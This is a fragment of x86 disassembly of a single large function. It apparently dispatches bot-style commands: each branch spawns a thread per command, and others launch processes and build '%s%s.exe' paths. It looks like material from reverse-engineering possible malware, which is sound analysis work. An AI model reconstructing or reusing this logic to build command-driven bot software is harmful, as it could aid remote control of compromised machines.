					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26B0BA0h
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 26802D4h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aDark	; "Dark"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26B0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 269040Ah


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
